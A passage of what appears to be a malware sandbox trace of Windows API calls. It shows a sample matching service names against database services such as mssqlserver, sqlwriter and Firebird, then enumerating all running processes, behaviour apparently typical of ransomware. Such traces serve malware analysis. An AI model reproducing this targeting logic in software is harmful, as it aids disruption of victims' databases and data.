lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0156.610] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0156.610] lstrlenW (lpString="RpcSs") returned 5 [0156.610] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0156.610] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0156.610] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0156.610] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0156.610] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0156.610] lstrlenW (lpString="SamSs") returned 5 [0156.610] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0156.610] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0156.610] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0156.610] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0156.610] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0156.610] lstrlenW (lpString="Schedule") returned 8 [0156.611] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0156.611] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0156.611] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0156.611] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0156.611] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0156.611] lstrlenW (lpString="SecurityHealthService") returned 21 [0156.611] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0156.611] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0156.611] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0156.611] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0156.611] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0156.611] lstrlenW (lpString="SENS") returned 4 [0156.611] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0156.611] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0156.611] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0156.611] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0156.611] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0156.611] lstrlenW (lpString="ShellHWDetection") returned 16 [0156.611] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0156.611] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0156.611] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0156.611] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0156.611] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0156.611] lstrlenW (lpString="Spooler") returned 7 [0156.611] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0156.612] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0156.612] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0156.612] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0156.612] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0156.612] lstrlenW (lpString="SSDPSRV") returned 7 [0156.612] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0156.612] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0156.612] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0156.612] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0156.612] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x7ef9b0 | out: hHeap=0x790000) returned 1 [0156.612] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2b4 [0156.619] Process32FirstW (in: hSnapshot=0x2b4, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0156.620] Process32NextW (in: hSnapshot=0x2b4, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6b, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0156.622] lstrlenW (lpString="System") returned 6 [0156.622] Process32NextW (in: hSnapshot=0x2b4, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0156.623] lstrlenW (lpString="smss.exe") returned 8 [0156.623] Process32NextW (in: hSnapshot=0x2b4, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0156.624] lstrlenW (lpString="csrss.exe") returned 9 [0156.624] Process32NextW (in: hSnapshot=0x2b4, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0156.625] lstrlenW (lpString="wininit.exe") returned 11 [0156.625] Process32NextW (in: hSnapshot=0x2b4, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0156.626] lstrlenW (lpString="csrss.exe") returned 9 [0156.626] Process32NextW (in: hSnapshot=0x2b4, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0156.627] lstrlenW (lpString="winlogon.exe") returned 12 [0156.627] Process32NextW (in: hSnapshot=0x2b4, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0156.628] lstrlenW (lpString="services.exe") returned 12 [0156.628] Process32NextW (in: hSnapshot=0x2b4, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0156.628] lstrlenW (lpString="lsass.exe") returned 9 [0156.629] Process32NextW (in: hSnapshot=0x2b4, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0156.629] lstrlenW (lpString="svchost.exe") returned 11 [0156.629] Process32NextW (in: hSnapshot=0x2b4, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0156.630] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0156.630] Process32NextW (in: hSnapshot=0x2b4, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0156.631] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0156.631] Process32NextW (in: hSnapshot=0x2b4, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0156.632] lstrlenW (lpString="svchost.exe") returned 11 [0156.632] Process32NextW (in: hSnapshot=0x2b4, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0156.633] lstrlenW (lpString="dwm.exe") returned 7 [0156.633] Process32NextW (in: hSnapshot=0x2b4, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5a, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0156.634] lstrlenW (lpString="svchost.exe") returned 11 [0156.634] Process32NextW (in: hSnapshot=0x2b4, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0156.635] lstrlenW (lpString="svchost.exe") returned 11 [0156.635] Process32NextW (in: hSnapshot=0x2b4, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0156.636] lstrlenW (lpString="svchost.exe") returned 11 [0156.636] Process32NextW (in: hSnapshot=0x2b4, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0156.639] lstrlenW (lpString="svchost.exe") returned 11 [0156.639] Process32NextW (in: hSnapshot=0x2b4, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x25, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0156.640] lstrlenW (lpString="svchost.exe") returned 11 [0156.640] Process32NextW (in: hSnapshot=0x2b4, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0156.641] lstrlenW (lpString="svchost.exe") returned 11 [0156.641] Process32NextW (in: hSnapshot=0x2b4, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0156.667] lstrlenW (lpString="svchost.exe") returned 11 [0156.668] Process32NextW (in: hSnapshot=0x2b4, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0156.669] lstrlenW (lpString="svchost.exe") returned 11 [0156.669] Process32NextW (in: hSnapshot=0x2b4, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0156.669] lstrlenW (lpString="svchost.exe") returned 11 [0156.669] Process32NextW (in: hSnapshot=0x2b4, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0156.670] lstrlenW (lpString="spoolsv.exe") returned 11 [0156.670] Process32NextW (in: hSnapshot=0x2b4, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0156.671] lstrlenW (lpString="svchost.exe") returned 11 [0156.671] Process32NextW (in: hSnapshot=0x2b4, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0156.672] lstrlenW (lpString="svchost.exe") returned 11 [0156.672] Process32NextW (in: hSnapshot=0x2b4, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x4fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0156.673] lstrlenW (lpString="audiodg.exe") returned 11 [0156.673] Process32NextW (in: hSnapshot=0x2b4, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0156.674] lstrlenW (lpString="sihost.exe") returned 10 [0156.674] Process32NextW (in: hSnapshot=0x2b4, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0156.676] lstrlenW (lpString="svchost.exe") returned 11 [0156.676] Process32NextW (in: hSnapshot=0x2b4, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0156.676] lstrlenW (lpString="taskhostw.exe") returned 13 [0156.677] Process32NextW (in: hSnapshot=0x2b4, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0156.677] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0156.677] Process32NextW (in: hSnapshot=0x2b4, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0156.678] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0156.678] Process32NextW (in: hSnapshot=0x2b4, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3c, th32ParentProcessID=0x834, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0156.679] lstrlenW (lpString="explorer.exe") returned 12 [0156.679] Process32NextW (in: hSnapshot=0x2b4, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0156.680] lstrlenW (lpString="Memory Compression") returned 18 [0156.680] Process32NextW (in: hSnapshot=0x2b4, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0156.681] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0156.681] Process32NextW (in: hSnapshot=0x2b4, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0156.682] lstrlenW (lpString="SearchUI.exe") returned 12 [0156.682] Process32NextW (in: hSnapshot=0x2b4, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0156.683] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0156.683] Process32NextW (in: hSnapshot=0x2b4, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0156.684] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0156.684] Process32NextW (in: hSnapshot=0x2b4, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0156.685] lstrlenW (lpString="taskhostw.exe") returned 13 [0156.685] Process32NextW (in: hSnapshot=0x2b4, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="OfficeC2RClient.exe")) returned 1 [0156.686] lstrlenW (lpString="OfficeC2RClient.exe") returned 19 [0156.686] Process32NextW (in: hSnapshot=0x2b4, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfd0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="OfficeC2RClient.exe")) returned 1 [0156.686] lstrlenW (lpString="OfficeC2RClient.exe") returned 19 [0156.686] Process32NextW (in: hSnapshot=0x2b4, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfe0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1 [0156.687] lstrlenW (lpString="DeviceCensus.exe") returned 16 [0156.687] Process32NextW (in: hSnapshot=0x2b4, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfe8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1 [0156.688] lstrlenW (lpString="UNPCampaignManager.exe") returned 22 [0156.688] Process32NextW (in: hSnapshot=0x2b4, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="AppHostRegistrationVerifier.exe")) returned 1 [0156.689] lstrlenW (lpString="AppHostRegistrationVerifier.exe") returned 31 [0156.689] Process32NextW (in: hSnapshot=0x2b4, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x384, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xfe0, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0156.690] lstrlenW (lpString="conhost.exe") returned 11 [0156.690] Process32NextW (in: hSnapshot=0x2b4, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x788, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="screensaver.exe")) returned 1 [0156.691] lstrlenW (lpString="screensaver.exe") returned 15 [0156.691] Process32NextW (in: hSnapshot=0x2b4, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="upperarc.exe")) returned 1 [0156.692] lstrlenW (lpString="upperarc.exe") returned 12 [0156.692] Process32NextW (in: hSnapshot=0x2b4, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="buying.exe")) returned 1 [0156.693] lstrlenW (lpString="buying.exe") returned 10 [0156.693] Process32NextW (in: hSnapshot=0x2b4, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="downloadable.exe")) returned 1 [0156.694] lstrlenW (lpString="downloadable.exe") returned 16 [0156.694] Process32NextW (in: hSnapshot=0x2b4, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="guests_production_meanwhile.exe")) returned 1 [0156.695] lstrlenW (lpString="guests_production_meanwhile.exe") returned 31 [0156.695] Process32NextW (in: hSnapshot=0x2b4, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="deemed-shirts.exe")) returned 1 [0156.696] lstrlenW (lpString="deemed-shirts.exe") returned 17 [0156.696] Process32NextW (in: hSnapshot=0x2b4, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="mugwritesheroes.exe")) returned 1 [0156.697] lstrlenW (lpString="mugwritesheroes.exe") returned 19 [0156.697] Process32NextW (in: hSnapshot=0x2b4, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="swapdamelooked.exe")) returned 1 [0156.698] lstrlenW (lpString="swapdamelooked.exe") returned 18 [0156.698] Process32NextW (in: hSnapshot=0x2b4, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="moments.exe")) returned 1 [0156.699] lstrlenW (lpString="moments.exe") returned 11 [0156.699] Process32NextW (in: hSnapshot=0x2b4, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xddc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="geo-sector-antonio.exe")) returned 1 [0156.700] lstrlenW (lpString="geo-sector-antonio.exe") returned 22 [0156.700] Process32NextW (in: hSnapshot=0x2b4, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="stream-test.exe")) returned 1 [0157.868] lstrlenW (lpString="stream-test.exe") returned 15 [0157.868] Process32NextW (in: hSnapshot=0x2b4, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="crestboatingstuffed.exe")) returned 1 [0157.869] lstrlenW (lpString="crestboatingstuffed.exe") returned 23 [0157.869] Process32NextW (in: hSnapshot=0x2b4, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x838, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0157.869] lstrlenW (lpString="taskhostw.exe") returned 13 [0157.869] Process32NextW (in: hSnapshot=0x2b4, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="wrist_exhaust.exe")) returned 1 [0157.870] lstrlenW (lpString="wrist_exhaust.exe") returned 17 [0157.870] Process32NextW (in: hSnapshot=0x2b4, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="movers-indication.exe")) returned 1 [0157.871] 